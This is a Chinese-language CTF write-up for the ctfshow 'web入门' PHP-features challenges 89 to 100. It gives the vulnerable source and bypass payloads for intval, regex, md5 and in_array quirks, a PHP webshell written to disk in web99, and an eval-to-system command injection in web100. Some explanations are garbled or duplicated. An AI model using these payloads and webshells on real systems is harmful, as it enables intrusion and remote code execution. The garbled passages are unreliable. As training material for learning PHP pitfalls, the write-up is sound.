ctfshow–web入门
PHP特性
web89
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
ctfshow{13b33a64-88d1-4d10-8782-fabc6f5b1ba0}
?num[]=1
web90
intval( v a r , var, var,base),其中var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。 这里=表示类型和数值必须相等,我们可以使用4476的八进制或十六进制绕过检测。 paylod:num=010574或num=0x117c
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
web91
正则绕过
?cmd=1%0aphp
web92
web90的做法也可以做出来但是题目给了另一种做法intval()函数如果 b a s e 为 0 则 base为0则 base为0则var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
web93
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:46:19 # @link: https://ctfer.com */ include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574
web94
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:46:19 # @link: https://ctfer.com */ include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
要注意的是这一小段,如果num里不存在0就阻断,我们就要让他存在0
if(!strpos($num, "0")){ die("no no no!"); }
传入4476.0就可
web95
这题
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!"); }
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!"); }
if(!strpos($num, "0")){
die("no no no!!!"); } if(intval($num,0)===4476){
echo $flag; } }
三层绕过,第一步过num==4476,然后过字符,接着还得让掺入的值中有0,试了好多字符发现+,加号的url编码,空格都可以
playload:
?num=+0104574(8进制)
总结intval函数用法
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}
else{
highlight_file($_GET['u']); } }
highlight_file()函数:将文本信息高亮显示,识别里面的关键字,然后加入css的一个样式,混合起来进行输出
要传入一个u弱类型比较与flag.php,要绕过,可以在前面加入一些,文件路径(var/www/html),绝对路径(./)
playload:
?u=/var/www/html/flag.php或者
?u=./flag
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b']))
{
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else print 'Wrong.'; }
数组绕过post传a[]=1&b[]=2即可
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?>
总结起来呢就是,如果 G E T 有值,就会转换为 _GET有值,就会转换为 GET有值,就会转换为__POST传入的值flag,接着进行下一步如果get的值为flag,就会将get传入的值改为cookie的值,下一步就是如果get传入的值是flag,就将sever传入的值flag给get
中间这两步没啥用,当然首先要给get传参一个值如?1=1,post传一个值flag=1;
这也不知道为啥,报错报出来flag了??????
考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码
<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
1 2 3 4 5 6 7 8 9 10 11
所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++)
{ array_push($allow, rand(1,$i)); }
if(isset($_GET['n']) && in_array($_GET['n'], $allow))
{ file_put_contents($_GET['n'], $_POST['content']); }
?>
<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>
web100
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow();
$v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
} ?>
这个题我们主要看 v 0 = i s n u m e r i c ( v0=is_numeric( v0=isnumeric(v1) and is_numeric( v 2 ) a n d i s n u m e r i c ( v2) and is_numeric( v2)andisnumeric(v3);
给v0赋值,is_number判断是否为数字或者字符串,若是则为true,否则为false
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
就是把is_numeric($v1)
的返回值赋值给$v0
,然后和后面的进行逻辑运算,并不会修改$v0
的值.
值赋值给$v0
,然后和后面的进行逻辑运算,并不会修改$v0
的值.
and他是逻辑运算,逻辑运算的优先级没有算数运算等级高,优先进行赋值运算,所以v1的值先给v0
他必须是数字,后面就是v2不能有;v3必须有;
可以在v2和v3上下功夫
playload:
get ?v1=1&v2=eval ($_POST[s])?>%23&v3=;
post s=system(“tac ctfshow.php”);